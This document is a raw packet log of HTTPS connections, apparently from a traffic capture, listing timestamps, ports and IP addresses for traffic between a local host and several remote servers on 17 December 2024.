Dec 17, 2024 12:13:17.554523945 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.554620981 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.554630041 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.554682016 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.560292006 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.560319901 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.560383081 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.560400963 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.560441017 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.560463905 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.566684008 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.566729069 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.566787004 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.566802025 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.566857100 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.571818113 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.571846008 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.571943045 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.571957111 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.572000980 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.577362061 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.577380896 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.577476025 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.577486038 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.577542067 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.582705021 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.582745075 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.582797050 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.582808018 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.582873106 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.584199905 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.584228992 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.584296942 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.584311008 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.584367037 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.589740038 CET	443	49737	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:17.589812040 CET	443	49737	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:17.589914083 CET	49737	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:17.591922045 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.591943979 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.592057943 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.592067957 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.592125893 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.592472076 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.592499971 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.592664957 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.592678070 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.592844009 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.599564075 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.599590063 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.599663019 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.599690914 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.601113081 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.603394985 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.603421926 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.603504896 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.603524923 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.603579044 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.604188919 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.604242086 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.604294062 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.604325056 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.604341984 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.604371071 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.607897043 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.607919931 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.608002901 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.608027935 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.609138966 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.612389088 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.612421989 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.612504005 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.612529039 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.612581015 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.612726927 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.612757921 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.612801075 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.612816095 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.612847090 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.612869978 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.615551949 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.615576982 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.615653992 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.615678072 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.615729094 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.620563030 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.620593071 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.620668888 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.620678902 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.620738029 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.623377085 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.623406887 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.623465061 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.623480082 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.623517990 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.623539925 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.623847008 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.623872995 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.623929024 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.623953104 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.623981953 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.623999119 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.627450943 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.627479076 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.627582073 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.627593994 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.627644062 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.632013083 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.632040024 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.632128000 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.632157087 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.633270979 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.635586977 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.635638952 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.635782003 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.635792971 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.635850906 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.643069029 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.643089056 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.643179893 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.643194914 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.643244982 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.651145935 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.651164055 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.651246071 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.651266098 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.651321888 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.654323101 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.654345036 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.654413939 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.654424906 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.658201933 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.659183025 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.659200907 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.659292936 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.659302950 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.659354925 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.682446003 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.682470083 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.682621002 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.682642937 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.682733059 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.689847946 CET	443	49736	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:17.689929962 CET	49736	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:17.691618919 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.691648960 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.691735983 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.691751003 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.691800117 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.691859007 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.695358038 CET	49736	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:17.695394993 CET	443	49736	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:17.695693970 CET	443	49736	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:17.700256109 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.700285912 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.700360060 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.700370073 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.700444937 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.703592062 CET	49736	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:17.703675032 CET	49736	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:17.703682899 CET	443	49736	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:17.704116106 CET	49736	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:17.707669973 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.707698107 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.707803011 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.707814932 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.707870007 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.715773106 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.715801001 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.715886116 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.715898991 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.715946913 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.716017962 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.723469019 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.723501921 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.723587036 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.723608017 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.723640919 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.723663092 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.731592894 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.731616974 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.731703997 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.731719971 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.731743097 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.731767893 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.739825964 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.739851952 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.739954948 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.739970922 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.740020037 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.742871046 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.742906094 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.742976904 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.742989063 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.743031979 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.743051052 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.750586033 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.750622988 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.750699043 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.750709057 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.750745058 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.750771046 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.751339912 CET	443	49736	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:17.757802010 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.757844925 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.757936001 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.757949114 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.757992029 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.765716076 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.765753031 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.765873909 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.765898943 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.765949011 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.773761988 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.773785114 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.773884058 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.773901939 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.773968935 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.775784969 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.775805950 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.775897026 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.775913000 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.777719021 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.781354904 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.781377077 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.781475067 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.781497955 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.781546116 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.783824921 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.783843040 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.783922911 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.783932924 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.783951044 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.783978939 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.784941912 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.785015106 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.785026073 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.785082102 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.792152882 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.792169094 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.792268991 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.792278051 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.793345928 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.797070026 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.797102928 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.797168016 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.797203064 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.797219992 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.799237013 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.799253941 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.799335003 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.799344063 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.799376965 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.799393892 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.801626921 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.801656008 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.801704884 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.801707983 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.801747084 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.801770926 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.807940006 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.807955980 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.808063984 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.808073997 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.809360027 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.815185070 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.815201998 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.815318108 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.815326929 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.817110062 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.823237896 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.823255062 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.823389053 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.823405981 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.825403929 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.846499920 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.846519947 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.846641064 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.846661091 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.849184036 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.873703957 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.873729944 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.873852015 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.873879910 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.873929977 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.880893946 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.880912066 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.880990982 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.881001949 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.881045103 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.887718916 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.887736082 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.887808084 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.887830019 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.887870073 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.894483089 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.894490957 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.894592047 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.894612074 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.894655943 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.901770115 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.901788950 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.901876926 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.901901007 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.901945114 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.908721924 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.908737898 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.908834934 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.908860922 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.908906937 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.915826082 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.915843964 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.915998936 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.916013956 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.916055918 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.922188044 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.922205925 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.922281981 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.922295094 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.922338009 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.969111919 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.969150066 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.969347954 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.969388008 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.971858978 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.976325989 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.976345062 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.976437092 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.976457119 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.976509094 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.984366894 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.984384060 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.984492064 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.984527111 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.985287905 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.992569923 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.992592096 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.992666960 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.992691040 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.992932081 CET	49733	443	192.168.2.6	150.171.27.10
